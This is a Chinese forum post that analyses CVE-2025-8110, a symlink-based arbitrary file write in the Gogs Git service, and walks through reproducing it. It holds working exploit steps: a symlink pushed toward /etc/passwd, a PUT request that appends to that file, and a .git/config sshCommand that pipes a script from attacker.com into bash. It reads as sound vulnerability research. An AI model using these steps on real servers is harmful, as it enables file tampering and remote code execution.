找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

1422

积分

0

好友

204

主题
发表于 昨天 18:50 | 查看: 6| 回复: 0

本文从Gogs的历史漏洞点入手,结合源码对最新CVE-2025-8110 0day的绕过手法进行深入分析,并结合复现过程给出正确的漏洞利用方法。

漏洞背景

Gogs是一款使用Go语言编写的自助Git服务。Golang开发的一些Web应用最常见的问题之一便是目录穿越,观察Gogs大部分的历史漏洞,也多为通过目录穿越覆盖关键文件造成的RCE。本次的CVE-2025-8110也不例外,其本质仍是任意文件写入漏洞。

根据披露者的博客信息,此漏洞是在一次应急响应过程中被发现。截至12月14日,Github上公开的POC均存在错误。

影响范围

  1. 截至分析时,最新版本仍未修复。
  2. 根据网络空间测绘数据,受影响的资产数量约5万左右。

利用条件

  1. 目标Gogs服务开启了PUT推送接口。
  2. 攻击者可以任意注册用户。
  3. 服务部署在Linux系统上。

漏洞原理分析

漏洞点定位

核心漏洞点位于 internal/database/repo_editor.go 文件中的 UpdateRepoFile 函数。该文件在修复历史漏洞时共修改了12处,属于高危区域。

image-20251221215243960

重点关注该文件的第191行,此处未对filePath参数进行有效校验。函数签名为WriteFile(name string, data []byte, perm FileMode)。其中第一个参数name即为目标文件名,该参数在Git仓库文件变更的场景下是天然可控的。

逻辑简化后,漏洞原理如下:当攻击者提交一个符号链接(symlink)文件到仓库,并在后续通过API更新此文件时,Gogs会调用WriteFile函数,而写入的最终路径将是该符号链接所指向的真实路径,而非符号链接本身在仓库中的路径。

以下是一个演示此逻辑的POC:

main.go

package main

import (
        "log"
        "os"
)

func main() {
        filePath := "/tmp/symlink"
        Content := "This is a test content ."
        if err := os.WriteFile(filePath, []byte(Content), 0600); err != nil {
                log.Println("write file: %v", err)
        }
}

在上述代码中,如果/tmp/symlink是一个指向/tmp/origin的软链接,执行后,内容将被写入/tmp/origin文件。

image-20251221220007299

在Git中,符号链接是被允许的对象类型。

image-20251221215306474

因此,攻击者可以在本地仓库创建一个指向敏感路径(如/etc/passwd)的符号链接,然后推送到Gogs远端仓库。

漏洞触发点

触发漏洞的API接口与历史漏洞CVE-2024-55947相同,均为 PUT /repos/:username/:reponame/contents/*

查看 internal/route/api/v1/repo/contents.go 中的 PutContents 函数:

image-20251221215325657

虽然代码中对文件路径参数进行了“净化”处理(修复CVE-2024-55947的路径穿越),但其Clean函数实现仅能防御目录穿越,无法识别和阻止符号链接攻击。

func Clean(p string) string {
    p = strings.ReplaceAll(p, `\\`, "/")
    return strings.Trim(path.Clean("/"+p), "/")
}
分析总结

漏洞的本质是:攻击者上传一个符号链接文件到Git仓库,然后通过PUT接口更新该文件内容。Gogs在处理更新时,会将内容写入符号链接指向的最终系统路径,从而造成任意文件覆盖/写入。

漏洞复现

环境搭建

使用Docker快速搭建测试环境:

docker run -d \
  --name gogs \
  -p 3000:3000 \
  -p 2022:22 \
  -v /var/gogs:/data \
  gogs/gogs

访问 http://localhost:3000 完成安装,数据库选择SQLite,无需设置管理员账户。

安装完成后,注册一个普通用户(例如test)。在用户设置中:

  1. 添加SSH公钥,用于后续推送恶意文件。
  2. 在“授权应用”中生成一个访问令牌(Token),用于API调用。
漏洞利用步骤
  1. 创建恶意仓库:在本地初始化一个Git仓库,并创建一个指向目标路径的符号链接。

    git init repo
    ln -s /etc/passwd secret-link
    git config user.name "test"
    git config user.email "test@example.com"
    git remote add origin ssh://git@localhost:2022/test/漏洞测试.git
    git add .
    git commit -m "add symlink"
    git branch -M main
    git push -u origin main

    推送后,远端仓库将包含一个指向/etc/passwd的符号链接文件secret-link

    image-20251221215356425

  2. 触发任意文件写入:使用之前生成的Token,向更新文件接口发送PUT请求。

    PUT /api/v1/repos/test/漏洞测试/contents/secret-link HTTP/1.1
    Host: 192.168.1.104:3000
    Content-Type: application/json
    Authorization: token 05e726352765be3c010691ca10816146d51b522f
    
    {
      "message": "Create symlink",
      "content": "ZWNobyAiSGFja2VkIiA+PiAvZXRjL3Bhc3N3ZA==",
      "branch": "main"
    }

    其中content字段为echo "Hacked" >> /etc/passwd命令的Base64编码。

  3. 验证结果:进入Docker容器查看,发现/etc/passwd文件末尾已被成功追加内容。
    image-20251221215412765

升级到RCE

任意文件写入可以进一步升级为远程代码执行(RCE)。披露者利用的方法是覆盖目标仓库的 .git/config 文件,在其中注入恶意的 sshCommand

例如,构造以下内容的.git/config文件:

[core]
    sshCommand = "curl http://attacker.com/shell.sh | bash"
[remote "origin"]
    url = ssh://git@localhost:2022/test/ccc.git
    fetch = +refs/heads/*:refs/remotes/origin/*

当仓库拥有者(或任何有权限者)后续通过SSH协议执行git pullgit clone等操作时,便会触发其中注入的恶意命令。

修复与缓解

截至目前,Gogs官方尚未发布针对此漏洞的修复补丁。

临时的缓解措施包括:

  • 关闭用户注册功能,阻断攻击者创建账户的入口。
  • 严格审查和限制仓库中允许的文件类型,但可能影响正常使用。

参考链接




上一篇:Linux日志分析实战:tail、grep、sed、awk组合拳高效排查生产环境问题
下一篇:SpringBoot集成Flowable工作流引擎:快速实现员工请假审批流程
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2025-12-24 18:58 , Processed in 0.249084 second(s), 40 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表